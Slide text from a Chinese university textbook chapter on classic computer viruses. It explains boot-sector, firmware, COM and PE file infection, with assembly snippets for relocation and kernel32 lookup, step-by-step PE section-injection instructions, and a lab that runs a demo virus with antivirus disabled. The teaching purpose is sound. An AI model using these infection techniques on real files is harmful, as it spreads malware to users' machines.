第3章 傳統(tǒng)計算機病毒_第1頁
第3章 傳統(tǒng)計算機病毒_第2頁
第3章 傳統(tǒng)計算機病毒_第3頁
第3章 傳統(tǒng)計算機病毒_第4頁
第3章 傳統(tǒng)計算機病毒_第5頁
已閱讀5頁,還剩130頁未讀 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

第3章傳統(tǒng)計算機病毒劉功申上海交通大學網(wǎng)絡空間安全學院本章學習目標了解COM、EXE、NE、PE可執(zhí)行文件格式掌握引導型病毒原理及實驗了解BIOS和UEFI固件引導病毒掌握COM文件病毒原理及實驗掌握PE文件型病毒及實驗掌握面向doc的宏病毒原理及實驗總體概念DOS病毒定格在5000多種DOS是VXer的樂園(Aver)宏病毒是非常容易書寫的惡意代碼

9x病毒ring3,ring02K病毒主要是ring3Windows文件格式變遷:COMEXE:MZ->NE->PEVxd:LE(16Bit,32Bit)章節(jié)主要內(nèi)容一、引導型病毒編制原理及實驗二、BIOS和UEFI固件引導病毒三、16位COM可執(zhí)行文件病毒原理及實驗四、32位PE可執(zhí)行文件病毒原理及實驗五、宏病毒原理、制作及實驗一、引導型病毒編制原理及實驗PC引導流程加電CPU\BIOS初始化POST自檢引導區(qū)、分區(qū)表檢查發(fā)現(xiàn)操作系統(tǒng)執(zhí)行引導程序引導區(qū)病毒取得控制權的過程:MBR和分區(qū)表裝載DOS引導區(qū)運行DOS引導程序加載IO.sysMSDOS.sys加載DOS1正常的引導過程引導型病毒從軟盤加載到內(nèi)存尋找DOS引導區(qū)的位置將DOS引導區(qū)移動到別的位置病毒將自己寫入原DOS引導區(qū)的位置2用被感染的軟盤啟動MBR和分區(qū)表將病毒的引導程序加載入內(nèi)存運行病毒引導程序病毒駐留內(nèi)存原DOS引導程序執(zhí)行并加載DOS系統(tǒng)3病毒在啟動時獲得控制權引導區(qū)病毒實驗【實驗目的】通過實驗,了解引導區(qū)病毒的感染對象和感染特征,重點學習引導病毒的感染機制和恢復感染染毒文件的方法,提高匯編語言的使用能力?!緦嶒瀮?nèi)容】本實驗需要完成的內(nèi)容如下:引導階段病毒由軟盤感染硬盤實驗。通過觸發(fā)病毒,觀察病毒發(fā)作的現(xiàn)象和步驟學習病毒的感染機制;閱讀和分析病毒的代碼。DOS運行時病毒由硬盤感染軟盤的實現(xiàn)。通過觸發(fā)病毒,觀察病毒發(fā)作的現(xiàn)象和步驟學習病毒的感染機制;閱讀和分析病毒的代碼。【實驗環(huán)境】VMWareWorkstation5.5.3MS-DOS7.10【實驗素材】附書資源experiment目錄下的bootvirus目錄。實驗過程第一步:環(huán)境安裝安裝虛擬機VMWare,在虛擬機環(huán)境內(nèi)安裝MS-DOS7.10環(huán)境。安裝步驟參考附書資源。第二步:軟盤感染硬盤1、運行虛擬機,檢查目前虛擬硬盤是否含有病毒。如圖表示沒有病毒正常啟動硬盤的狀態(tài)。2、在附書資源中拷貝含有病毒的虛擬軟盤virus.img。3、將含有病毒的軟盤插入虛擬機引導,可以看到閃動的字符*^_^*,如左圖4。按任意鍵進入右圖畫面。第三步:驗證硬盤已經(jīng)被感染1、取出虛擬軟盤,通過硬盤引導,再次出現(xiàn)了病毒的畫面。2、按任意鍵后正常引導了dos系統(tǒng)??梢?,硬盤已經(jīng)被感染。第四步:硬盤感染軟盤1、下載empty.img,并且將它插入虛擬機,啟動電腦,由于該盤為空,如圖顯示。2、取出虛擬軟盤,從硬盤啟動,通過命令formatA:/q快速格式化軟盤??赡芴崾境鲥e,這時只要按R即可。如圖所示。3、成功格式化后的結(jié)果如圖所示。4、不要取出虛擬軟盤,重新啟動虛擬機,這時是從empty.img引導,可以看到病毒的畫面,如左圖所示。按任意鍵進入如右圖畫面??梢?,病毒已經(jīng)成功由硬盤傳染給了軟盤。

二、BIOS和UEFI固件引導病毒簡介著名的情報組織“方程式”就具有其在硬盤控制芯片中植入惡意代碼的能力,并在我國多個重要部門陸續(xù)發(fā)現(xiàn)相關樣本。其它還可被植入惡意代碼的硬件還包括BIOS、網(wǎng)卡、顯卡、聲卡,甚至包括CPU、WIFI模塊都存在被植入惡意代碼的可能性。BIOS/UEFI加載最早固件病毒的特點BIOS是開機后執(zhí)行的第一段程序,比MBR更加底層,BIOS一旦被感染,即便是重裝系統(tǒng),格式化硬盤也無濟于事,因此BIOS感染后的駐留能力是最強的,具有不易清除等特性,適用于長期潛伏。斯諾登泄漏的材料顯示,美國國家安全局(NSA)核心部門TAO小組所使用的ANTPRODUCTS的清單中包括兩款對于BIOS進行植入的工具:SWAP和DEITYBOUNCE。更新時間為2008年6月20日。DEITYBOUNCEDEITYBOUNCE利用主板的BIOS和利用系統(tǒng)管理模塊(SystemManagementMode)的漏洞駐留在Dell的PowerEdge服務器上。采用interdiction注入方式。MEBROMI[2011年]2011年安全公司360截獲到名叫MEBROMI的BIOS惡意代碼。MEBROMI是一個非常簡陋的面向Award主板的BOOTKIT,MEBROMI通過BIOS感染硬盤的引導扇區(qū)MBR,再通過MBR感染W(wǎng)indows系統(tǒng)文件。MEBROMI運行流程UEFIBOOTKIT[2015]2015年著名的黑客公司HackingTeam源代碼泄漏,其中也包括針對UEFI進行攻擊的UEFIBOOTKIT的源代碼。植入有很多前提條件:需要物理控制目標機器,植入過程需要插入移動存儲設備機會,以及需要能重啟目標機器進入UEFIShell模式。代碼分析請參考:/articles/system/72713.htmlInfectionofBiosRootkit在攻擊時,插入U盤,進行UEFI

Shell,Startup.nsh引導啟動chipsec.efi,然后chipsec.efi把三個.mod模塊寫到Bios

ROM上去,重啟電腦時,Bios

Rootkit就開始工作了。三、16位COM可執(zhí)行文件病毒原理及實驗COM格式最簡單的可執(zhí)行文件就是DOS下的以COM(CopyOfMemory)文件。COM格式文件最大64KB,內(nèi)含16位程序的二進制代碼映像,沒有重定位信息。COM文件包含程序二進制代碼的一個絕對映像,也就是說,為了運行程序準確的處理器指令和內(nèi)存中的數(shù)據(jù),DOS通過直接把該映像從文件拷貝到內(nèi)存來加載COM程序,系統(tǒng)不需要作重定位工作。加載COM程序DOS嘗試分配內(nèi)存。因為COM程序必須位于一個64K的段中,所以COM文件的大小不能超過65,024(64K減去用于PSP的256字節(jié)和用于一個起始堆棧的至少256字節(jié))。如果DOS不能為程序、一個PSP、一個起始堆棧分配足夠內(nèi)存,則分配嘗試失敗。否則,DOS分配盡可能多的內(nèi)存(直至所有保留內(nèi)存),即使COM程序本身不能大于64K。在試圖運行另一個程序或分配另外的內(nèi)存之前,大部分COM程序釋放任何不需要的內(nèi)存。分配內(nèi)存后,DOS在該內(nèi)存的頭256字節(jié)建立一個PSP(ProgramSegmentPrefix:程序段前綴)。創(chuàng)建PSP后,DOS在PSP后立即開始(偏移100H)加載COM文件,它置SS、DS和ES為PSP的段地址,接著創(chuàng)建一個堆棧。DOS通過把控制傳遞偏移100H處的指令而啟動程序。程序設計者必須保證COM文件的第一條指令是程序的入口點。因為程序是在偏移100H處加載,因此所有代碼和數(shù)據(jù)偏移也必須相對于100H。匯編語言程序設計者可通過置程序的初值為100H而保證這一點(例如,通過在源代碼的開始使用語句org100H)。PSP結(jié)構偏移大小

長度(Byte)

說明

0000h

02

中斷20H

0002h

02

以節(jié)計算的內(nèi)存大?。ɡ盟煽闯鍪欠窀腥疽龑筒《荆?/p>

0004h

01

保留

0005h

05

至DOS的長調(diào)用

000Ah

02

INT22H入口IP

000Ch

02

INT22H入口CS

000Eh

02

INT23H入口IP

0010h

02

INT23H入口CS

0012h

02

INT24H入口IP

0014h

02

INT24H入口CS

0016h

02

父進程的PSP段值(可測知是否被跟蹤)

0018h

14

存放20個SOFT號

002Ch

02

環(huán)境塊段地址(從中可獲知執(zhí)行的程序名)

002Eh

04

存放用戶棧地址指針

0032h

1E

保留

0050h

03

DOS調(diào)用(INT21H/RETF)

0053h

02

保留

0055h

07

擴展的FCB頭

005Ch

10

格式化的FCB1

006Ch

10

格式化的FCB2

007Ch

04

保留

0080h

80

命令行參數(shù)長度

0081h

127

命令行參數(shù)MZ格式MZ格式:COM發(fā)展下去就是MZ格式的可執(zhí)行文件,這是DOS中具有重定位功能的可執(zhí)行文件格式。MZ可執(zhí)行文件內(nèi)含16位代碼,在這些代碼之前加了一個文件頭,文件頭中包括各種說明數(shù)據(jù),例如,第一句可執(zhí)行代碼執(zhí)行指令時所需要的文件入口點、堆棧的位置、重定位表等。裝載過程:操作系統(tǒng)根據(jù)文件頭的信息將代碼部分裝入內(nèi)存,然后根據(jù)重定位表修正代碼,最后在設置好堆棧后從文件頭中指定的入口開始執(zhí)行。DOS可以把MZ格式的程序放在任何它想要的地方。MZ標志MZ文件頭其它信息重定位表的字節(jié)偏移量重定位表重定位表可重定位程序映像二進制代碼//MZ格式可執(zhí)行程序文件頭structHeadEXE{WORDwType;//00HMZ標志W(wǎng)ORDwLastSecSize;//02H最后扇區(qū)被使用的大小WORDwFileSize;//04H文件大小WORDwRelocNum;//06H重定位項數(shù)WORDwHeadSize;//08H文件頭大小WORDwReqMin;//0AH最小所需內(nèi)存WORDwReqMax;//0CH最大所需內(nèi)存WORDwInitSS;//0EHSS初值WORDwInitSP;//10HSP初值WORDwChkSum;//12H校驗和WORDwInitIP;//14HIP初值WORDwInitCS;//16HCS初值WORDwFirstReloc;//18H第一個重定位項位置WORDwOverlap;//1AH覆蓋WORDwReserved[0x20];//1CH保留WORDwNEOffset;//3CHNE頭位置};

NE格式為了保持對DOS的兼容性并滿足Windows的需要,Win3.x中出現(xiàn)的NE格式的可執(zhí)行文件中保留了MZ格式的頭,同時NE文件又加了一個自己的頭,之后才是可執(zhí)行文件的可執(zhí)行代碼。NE類型包括了EXE、DLL、DRV和FON四種類型的文件。NE格式的關鍵特性是:它把程序代碼、數(shù)據(jù)、資源隔離在不同的可加載區(qū)中;藉由符號輸入和輸出,實現(xiàn)所謂的運行時動態(tài)鏈接。NE裝載16位的NE格式文件裝載程序(NELoader)讀取部分磁盤文件,并生成一個完全不同的數(shù)據(jù)結(jié)構,在內(nèi)存中建立模塊。當代碼或數(shù)據(jù)需要裝入時,裝載程序必須從全局內(nèi)存中分配出一塊,查找原始數(shù)據(jù)在文件的位置,找到位置后再讀取原始的數(shù)據(jù),最后再進行一些修正。每一個16位的模塊(Module)要負責記住現(xiàn)在使用的所有段選擇符,該選擇符表示該段是否已經(jīng)被拋棄等信息。MS-DOS頭DOS文件頭保留區(qū)域Windows頭偏移DOSStub程序信息塊NE文件頭段表資源表駐留名表模塊引用表引入名字表入口表非駐留名表代碼段和數(shù)據(jù)段程序區(qū)重定位表3COM文件病毒原理感染過程:將開始的3個字節(jié)保存在orgcode中.將這3個字節(jié)更改為0E9H和COM文件的實際大小的二進制編碼。將病毒寫入原COM文件的后邊。在病毒的返回部分,將3個字節(jié)改為0E9H和表達式(當前地址-COM文件的實際大?。《敬a大小)的二進制編碼,以便在執(zhí)行完病毒后轉(zhuǎn)向執(zhí)行原程序。E9xxxxResume:E9XXXXE9AAAAAAAAXXXX源代碼:jump源代碼示例講解演示COM病毒COM文件病毒實驗(實驗二)【實驗目的】掌握COM病毒的傳播原理?!緦嶒炂脚_】VMWareWorkstation5.5.3MS-DOS7.10MASM611實驗步驟(1)安裝虛擬機VMWare,安裝步驟參考網(wǎng)上下載的實驗配套資料“解壓縮目錄\Application\MSDOS71\虛擬機上安裝MSDOS.doc”文檔。(2)在虛擬機環(huán)境內(nèi)安裝MS-DOS7.10環(huán)境。(3)在MS-DOSC:\MASM目錄下安裝MASM611,然后將binr目錄下的link.exe復制到bin目錄下。(4)從附書資源“experiment\com”下復制病毒程序Virus.asm及測試程序源代碼BeInfected.asm。(5)編譯鏈接BeInfected.asm,形成BeI測試程序。(6)編譯鏈接virus.asm,生成病毒程序virus.exe。(7)在C:\MASM\Bin目錄下建立del.txt文件,并且將BeI和病毒復制到此目錄下。(8)執(zhí)行BeI,觀察未感染前的運行結(jié)果。(9)執(zhí)行virus.exe文件以感染BeI文件并且自動刪除del.txt。(10)執(zhí)行BeI觀察感染后的結(jié)果?!境绦蛟创a】本實驗以尾部感染COM文件的病毒為例子,其中待感染COM文件源代碼BeInfected.asm、病毒源文件源代碼virus.asm參見附書源代碼。四、32位操作系統(tǒng)病毒示例分析1PE文件結(jié)構及其運行原理2Win32文件型病毒編制技術3從ring3到ring0概述1PE文件結(jié)構及其運行原理(1)PE文件格式總體結(jié)構

PE(PortableExecutable:可移植的執(zhí)行體)是Win32環(huán)境自身所帶的可執(zhí)行文件格式。它的一些特性繼承自Unix的Coff(CommonObjectFileFormat)文件格式。可移植的執(zhí)行體意味著此文件格式是跨win32平臺的,即使Windows運行在非Intel的CPU上,任何win32平臺的PE裝載器都能識別和使用該文件格式。當然,移植到不同的CPU上PE執(zhí)行體必然得有一些改變。除VxD和16位的Dll外,所有win32執(zhí)行文件都使用PE文件格式。因此,研究PE文件格式是我們洞悉Windows結(jié)構的良機。PE文件結(jié)構總體層次分布DOSMZheader‘MZ’格式頭DOSstubDos樁程序PEheaderPE文件頭Sectiontable節(jié)表Section1第1個節(jié)Section2第2個節(jié)……Sectionn第n個節(jié)2Win32文件型病毒編制技術Ring-3病毒的兼容性較好Ring-3病毒需要API的支持公開的未公開的技術包括:2.1病毒的重定技術為什么需要重定位?正常程序的變量和函數(shù)的相對地址都是預先計算好的。病毒是附加在宿主程序中的程序段,其問題在于:病毒變量和病毒函數(shù)的相對地址很難計算。解決方法:動態(tài)找一個參照點,然后再根據(jù)參照點的地址確定病毒函數(shù)和病毒變量的地址。calldeltadelta: popebp…leaeax,[ebp+(offsetvar1-offsetdelta)]參照量delta在內(nèi)存中的地址+變量var1與參考量之間的距離=變量var1在內(nèi)存中的真正地址舉例介紹dwVardd?call@F@@:popebxsubebx,offset@Bmoveax,[ebx+offsetdwVar]編譯文件(假設)0040100000000000BYTE4DUP(4)00401004E800000000call00401009004010095Bpopebx;ebx=004010090040100A81EB09104000subebx,00401009;ebx=0004010108B8300104000moveax,dwordprt[ebx+00401000];moveax,00401000;moveax,dwVar如果被定位到00801000處0080100000000000BYTE4DUP(4)00801004E800000000call00801009008010095Bpopebx;ebx=008010090080100A81EB09104000subebx,00401009;ebx=00400000008010108B8300104000moveax,dwordprt[ebx+00401000];moveax,[00801000];moveax,dwVar2.2獲取API函數(shù)為什么要獲得API函數(shù)?正常程序用引入表獲得病毒只是一個依附在正常程序中的代碼段,沒有自己的引入表思路:去動態(tài)連接庫中尋找〉找相應連接庫(kernel32,user32等)在執(zhí)行時的基地址。尋找基地址的方法包括(以kernel32為例):a)利用程序的返回地址,在其附近搜索Kernel32的基地址Kernel32的push在應用程序中用esp在堆棧中獲取。CallCreateProcessCreatePrcess入口Push返回地址Jmp應用程序…PusheaxCallExitThread程序入口ret

OSkernel32.dll應用程序為什么能夠從

4GB

的內(nèi)存中得到

Kernel32.dll

的基地址呢?其實是這樣的,Dll

有一個非常特殊的特性:當有別的程序調(diào)用它的時候,它的文件映象就會動態(tài)地映射到調(diào)用進程的內(nèi)存地址空間。一般情況下,一個程序在運行的時候,

Kernel32.dll

這個

Dll

都會被映射到該程序的內(nèi)存地址空間,成為它的一部分——這樣一來,我們就可以在宿主的內(nèi)存地址空間中搜索到

Kernel32.dll

的基地址了.GetKBase:movedi,[esp+04h];這里的esp+04h是不定的,主要看從程序第一條指令執(zhí)行到這里有多少push;操作,如果設為N個push,則這里的指令就是Movedi,[esp+N*4h]andedi,0FFFF0000h.whileTRUE.ifDWORDptr[edi]==IMAGE_DOS_SIGNATURE;判斷是否MZmovesi,ediaddesi,DWORDptr[esi+03Ch];esi指向PE標志.ifDWORDptr[esi]==IMAGE_NT_SIGNATURE;是否有PE標志.break;如果有跳出循環(huán).endif.endif

subedi,010000h;分配粒度是10000h,dll必然加載在xxxx0000h處.ifedi<MIN_KERNEL_SEARCH_BASE;MIN_KERNEL_SEARCH_BASE等于70000000Hmovedi,0bff70000h;如果上面沒有找到,則使用Win9x的KERNEL地址.break.endif.endwmovhKernel32,edi;把找到的KERNEL32.DLL的基地址保存起來b)對相應操作系統(tǒng)分別給出固定的Kernel32模塊的基地址對于不同的windows操作系統(tǒng)來說,Kernel32模塊的地址是固定的,甚至一些API函數(shù)的大概位置都是固定的。Windows98為BFF70000Windows2000為77E80000 WindowsXP為77E60000缺點是兼容性差GetAPI在得到了Kernel32的模塊地址以后,我們就可以在該模塊中搜索我們所需要的API地址。對于給定的API,可以通過直接搜索Kernel32.dll導出表的方法來獲得其地址.同樣我們也可以先搜索出GetProcAddress和LoadLibrary兩個API函數(shù)的地址,然后利用這兩個API函數(shù)得到我們所需要的API函數(shù)地址。2.3文件搜索FindFirstFile:該函數(shù)根據(jù)文件名查找文件;FindNextFile:該函數(shù)根據(jù)調(diào)用FindFirstFile函數(shù)時指定的一個文件名查找下一個文件;FindClose:該函數(shù)用來關閉由FindFirstFile函數(shù)創(chuàng)建的一個搜索句柄;WIN32_FIND_DATA:該結(jié)構中存放著找到文件的詳細信息。FindFileProca)

指定找到的目錄為當前工作目錄b)

開始搜索文件(*.*)c)

該目錄搜索完畢?是則返回,否則繼續(xù)d)

找到文件還是目錄?是目錄則調(diào)用自身函數(shù)FindFile,否則繼續(xù)e)

是文件,如符合感染條件,則調(diào)用感染模塊,否則繼續(xù)f)

搜索下一個文件(FindNextFile),轉(zhuǎn)到C繼續(xù)FindFileEndp2.4內(nèi)存映射文件內(nèi)存映射文件提供了一組獨立的函數(shù),這些函數(shù)使應用程序能夠像訪問內(nèi)存一樣對磁盤上的文件進行訪問。這組內(nèi)存映射文件函數(shù)將磁盤上的文件的全部或者部分映射到進程虛擬地址空間的某個位置,以后對文件內(nèi)容的訪問就如同在該地址區(qū)域內(nèi)直接對內(nèi)存訪問一樣簡單。這樣,對文件中數(shù)據(jù)的操作便是直接對內(nèi)存進行操作,大大地提高了訪問的速度,這對于計算機病毒來說,對減少資源占有是非常重要的。應用步驟a)調(diào)用CreateFile函數(shù)打開想要映射的HOST程序,返回文件句柄hFile。b)調(diào)用CreateFileMapping函數(shù)生成一個建立基于HOST文件句柄hFile的內(nèi)存映射對象,返回內(nèi)存映射對象句柄hMap。c)調(diào)用MapViewOfFile函數(shù)將整個文件(一般還要加上病毒體的大?。┯成涞絻?nèi)存中。得到指向映射到內(nèi)存的第一個字節(jié)的指針(pMem)。d)用剛才得到的指針pMem對整個HOST文件進行操作,對HOST程序進行病毒感染。e)調(diào)用UnmapViewFile函數(shù)解除文件映射,傳入?yún)?shù)是pMem。f)調(diào)用CloseHandle來關閉內(nèi)存映射文件,傳入?yún)?shù)是hMap。g)調(diào)用CloseHandle來關閉HOST文件,傳入?yún)?shù)是hFile。

2.5病毒如何感染其他文件PE病毒感染其他文件的常見方法是在文件中添加一個新節(jié),然后,把病毒代碼和病毒執(zhí)行后返回宿主程序的代碼寫入新添加的節(jié)中,同時修改PE文件頭中入口點(AddressOfEntryPoint),使其指向新添加的病毒代碼入口。這樣,當程序運行時,首先執(zhí)行病毒代碼,當病毒代碼執(zhí)行完成后才轉(zhuǎn)向執(zhí)行宿主程序。病毒感染其他文件的步驟1.判斷目標文件開始的兩個字節(jié)是否為“MZ”。2.判斷PE文件標記“PE”。3.判斷感染標記,如果已被感染過則跳出繼續(xù)執(zhí)行宿主程序,否則繼續(xù)。4.獲得DataDirectory(數(shù)據(jù)目錄)的個數(shù),(每個數(shù)據(jù)目錄信息占8個字節(jié))。5.得到節(jié)表起始位置。(數(shù)據(jù)目錄的偏移地址+數(shù)據(jù)目錄占用的字節(jié)數(shù)=節(jié)表起始位置)6.得到節(jié)表的末尾偏移(緊接其后用于寫入一個新的病毒節(jié)信息)節(jié)表起始位置+節(jié)的個數(shù)*(每個節(jié)表占用的字節(jié)數(shù)28H)=節(jié)表的末尾偏移。7.開始寫入節(jié)表a)寫入節(jié)名(8字節(jié))。b)寫入節(jié)的實際字節(jié)數(shù)(4字節(jié))。c)寫入新節(jié)在內(nèi)存中的開始偏移地址(4字節(jié)),同時可以計算出病毒入口位置。上一個節(jié)在內(nèi)存中的開始偏移地址+(上一個節(jié)的大小/節(jié)對齊+1)*節(jié)對齊=本節(jié)在內(nèi)存中的開始偏移地址。d)寫入本節(jié)(即病毒節(jié))在文件中對齊后的大小。e)寫入本節(jié)在文件中的開始位置。上節(jié)在文件中的開始位置+上節(jié)對齊后的大小=本節(jié)(即病毒)在文件中的開始位置。f)修改映像文件頭中的節(jié)表數(shù)目。g)修改AddressOfEntryPoint(即程序入口點指向病毒入口位置),同時保存舊的AddressOfEntryPoint,以便返回宿主并繼續(xù)執(zhí)行。h)更新SizeOfImage(內(nèi)存中整個PE映像尺寸=原SizeOfImage+病毒節(jié)經(jīng)過內(nèi)存節(jié)對齊后的大?。?。i)寫入感染標記(后面例子中是放在PE頭中)。j)在新添加的節(jié)中寫入病毒代碼。ECX=病毒長度ESI=病毒代碼位置(并不一定等于病毒執(zhí)行代碼開始位置)EDI=病毒節(jié)寫入位置k)將當前文件位置設為文件末尾。2.6如何返回到宿主程序jmpoldAddressOfEntryPoint病毒演示病毒示例代碼PE文件格式實驗本實驗是根據(jù)PE文件結(jié)構及其運行原理而設計的實驗。通過該實驗,讀者可以了解PE文件的結(jié)構,為進一步學習PE文件病毒原理奠定基礎。【實驗目的】了解PE文件基本結(jié)構。【實驗環(huán)境】運行環(huán)境:Windows2000、Windows9x、WindowsNT以及WindowsXP。編譯環(huán)境:VisualStudio6.0【實驗步驟】文件位置:附書資源目錄\Experiment\winpe。使用編譯環(huán)境打開源代碼工程,編譯后可以生成可執(zhí)行文件winpe.exe。預備步驟:找任意一個Win32下的EXE文件作為查看對象。實驗內(nèi)容:運行winpe.exe,并打開任一exe文件,選擇不同的菜單,可以查看到exe文件的內(nèi)部結(jié)構。實驗具體步驟可以參考本教材PPT。PE格式實驗步驟WinPE察看器演示ExeDll源代碼級PE察看器演示32位文件型病毒實驗)本實驗是根據(jù)4.3.2節(jié)的文件型病毒編制技術而設計的原型病毒。之所以設計成原型病毒,是因為考慮到信息安全課程的特殊性。學習病毒原理的目的是為了更好地防治病毒,而不是教各位讀者編寫能運行于實際環(huán)境的病毒。【實驗目的】了解文件型病毒的基本制造原理。了解病毒的感染、破壞機制,進一步認識病毒程序。掌握文件型病毒的特征和內(nèi)在機制?!緦嶒灜h(huán)境】運行環(huán)境Windows2000、Windows9x、WindowsNT和WindowsXP?!緦嶒灢襟E】文件位置:附書資源目錄\Experiment\win32virus。目錄中的virus.rar包中包括Virus.exe(編譯的病毒程序)、軟件使用說明書.doc(請仔細閱讀)、源代碼詳解.doc(對代碼部分加入了部分注釋)以及pll.asm(程序源代碼)。Example.rar包中選取的是一個常用程序(ebookedit)安裝后的安裝目錄下的程序,用于測試病毒程序。預備步驟:將example.rar解壓縮到某個目錄,比如D:\virus\example。解壓完畢后,應該在該目錄下有Buttons目錄、ebookcode.exe、ebookedit.exe、ebrand-it.exe以及keymaker.exe等程序,然后把virus.rar包解壓后的Virus.exe復制到該目錄中。實驗內(nèi)容:通過運行病毒程序觀看各步的提示以了解病毒的內(nèi)在機制。詳細的演示步驟參見教學PPT。【實驗注意事項】本病毒程序用于實驗目的,請妥善使用。在測試病毒程序前,請先關閉殺毒軟件的自動防護功能或直接關閉殺毒軟件。本程序是在開發(fā)時面向?qū)嶒炑菔居玫模瑐?cè)重于演示和說明病毒的內(nèi)在原理,破壞功能有限;而且前流行的病毒破壞方式比較嚴重,而且發(fā)作方式非常隱蔽,千萬不要把其他病毒程序采用本例的方式來進行直接運行測試。測試完畢后,請注意病毒程序的清除,以免誤操作破壞計算機上的其他程序。32位PE可執(zhí)行文件型病毒詳細步驟

病毒引導說明:

文件型病毒,沒有引導部分演示

病毒傳染說明:

傳染范圍:Virus.exe所在目錄

傳染目標:可執(zhí)行文件(.exe)

傳染過程:搜索目錄內(nèi)的可執(zhí)行文件,逐個感染

病毒觸發(fā)說明:

觸發(fā)條件:運行Virus.exe程序或被Virus.exe感染的程序文件型病毒功能說明:

病毒破壞說明:

破壞能力:無害型傳染時減少磁盤的可用空間,在可執(zhí)行文件上附加一個節(jié)(4K)

破壞方式:攻擊文件在可執(zhí)行文件上附加一個節(jié)(4K),修改可執(zhí)行文件的入口地址

破壞范圍:Virus.exe所在目錄

病毒查殺說明:

病毒危害等級:低,屬于無害型病毒

病毒特征類型:Bloodhound.W32.1(NortonAntiVirus檢測結(jié)果,這是Symantec軟件來臨時指代新病毒的文件)

病毒查殺方法:刪除所有被感染的文件

步驟0(預備):當防病毒程序如NortonAntiVirus(注:此處的測試應以當前測試機器上安裝殺毒軟件為準,本示例運行時機器上安裝的只有Norton

AntiVirus,故以此為參照)自動防護功能打開時,鼠標光標位于病毒程序上時,會看到如下的圖例:圖例0

圖解說明:注解0-1表示NortonAntiVirus的自動防護功能打開著;注解0-2就是防病毒軟件在用戶鼠標置于圖例0中注解0-3處的Virus.exe程序上時的報警提示。

演示說明:作為自己開發(fā)的病毒程序,為了能夠更好的演示病毒的特征,在開發(fā)過程中我們沒有采用病毒的保護機制,故而防病毒軟件根據(jù)病毒程序的特征即可給出該程序為病毒程序的報警提示。步驟1(運行預備):關閉防病毒軟件的自動防護功能,點擊病毒程序Virus.exe,運行該程序,參見下圖:

圖例1

圖解說明:注解1-1表示NortonAntiVirus的自動防護功能被關閉;注解1-2為病毒程序運行主界面,本實驗為了能夠比較直觀演示病毒程序,讓用戶知道正在運行某個程序,故而有此主界面;但實際的病毒在感染其他程序前不會讓用戶感覺到病毒程序正在運行的,往往都是隱藏運行,或者是寄生在宿主程序中,這方面可參照病毒的引導機制的介紹。演示說明:詳見備注步驟2提示用戶是否觀看感染過程,如下圖:

圖例2

圖解說明:注解2-1提示用戶是否觀看病毒的感染過程,選擇“是”觀看感染過程,選擇“否”運行原程序,由于該病毒程序不具有其他功能,所以選“否”時就直接關閉程序。

演示說明:該文件型病毒側(cè)重于病毒感染過程的演示,所以在感染部分的提示比較詳細。步驟3:開始感染提示,如下圖:圖例3

圖解說明:注解3-1提示用戶病毒程序開始感染其他程序。

演示說明:無步驟4:提示病毒感染范圍,如下圖:圖例4

圖解說明:注解4-1提示用戶病毒程序感染目標是病毒程序所在目錄里的程序。

演示說明:為了減少病毒破壞的范圍,在編寫該病毒程序時,限定其感染范圍為目錄內(nèi)感染,這也同時減少了病毒的破壞范圍;但就病毒特征而言,它還是很好的體現(xiàn)了病毒程序自我復制的這一特征。步驟5:提示當前搜索到的合法的目標程序,如下圖:圖例5

圖解說明:注解5-1提示說明當前搜索的目標程序是ebookedit.exe可執(zhí)行文件。

演示說明:無步驟6:判斷目標程序是否是合法的可感染的程序,如下圖:圖例6

圖解說明:注解6-1提示目標程序是否為合法的可感染程序。演示說明:Virus.exe可以感染的目標程序為PE文件中的可執(zhí)行文件(.exe),對于文件型病毒傳染機理可參照病毒的傳染機制。步驟7:感染情況說明提示,如下圖:圖例7

圖解說明:注解7-1提示對病毒的感染情況進行說明。

演示說明:Virus.exe感染方式是在宿主文件附加一個節(jié)(4K),被感染的宿主程序運行時先跳轉(zhuǎn)到該節(jié)處,運行感染代碼;感染結(jié)束后再返回宿主程序的入口地址執(zhí)行宿主程序。這也體現(xiàn)了本病毒程序的破壞方式,作為一個演示的病毒程序,破壞程度應該在可控范圍內(nèi),一些惡性的破壞方式可參照病毒的破壞機制說明。感染結(jié)果情況可參照步驟12的圖例,Virus.exe被防病毒軟件查出為病毒也正是因為該操作,具體參照步驟18的圖例。步驟8:感染過程隱藏說明(小技巧),如下圖:圖例8

圖解說明:注解8-1提示說明病毒程序加入中sleep的代碼的目的。

演示說明:此處加入該說明是也是為了說明是否存在病毒運行的一種判斷思路,在手工查毒時有時就是依照該手段來判斷當前機器是否有異常程序在運行;如果機器沒有明顯的程序在運行,而硬盤的指示燈一直閃爍,在高速運轉(zhuǎn)著,則可粗略判斷機器有異常程序在運行。防病毒的相關技術可參照防病毒基礎技術部分介紹。當然對于病毒程序本身而言,為了避免被發(fā)現(xiàn),就需要通過sleep一段時間再進行感染來降低被發(fā)現(xiàn)的可能性。步驟9:提示是否觀看其他程序感染過程,如下圖:圖例9

圖解說明:注解9-1提示是否觀看其他程序感染過程。

演示說明:無步驟10:病毒感染結(jié)束或用戶取消操作的提示,如下圖:圖例10

圖解說明:注解10-1是病毒感染結(jié)束或用戶取消操作后的提示。

演示說明:感染結(jié)束或用戶取消后就會運行宿主程序。如果我們隱藏前面介紹的這些步驟的對話框和主界面,則給用戶的感覺就是運行了一個正常的程序,只是程序啟動運行的時間相對慢了一點,這也就體現(xiàn)了病毒程序的潛伏性這一特征。步驟11:該圖例與步驟6的圖例同步,該圖例是目標程序不合法或已被感染后的提示,如下圖:圖例11

圖解說明:注解11-1是目標程序不合法或已被感染的提示。

演示說明:Virus.exe可感染的目標為標準的可執(zhí)行文件(絕大部分的.exe文件),在感染過程中對已感染的程序會進行檢查是否已被感染,若已經(jīng)被感染則不再進行感染:一可以提高病毒感染的效率,二可以防止多次感染使文件增大而引起用戶的察覺。步驟12:比較目標程序感染前后的變化(注要指程序大小),如下圖(圖例12;圖例12A和圖例12B;圖例12C和圖例12D):圖例12

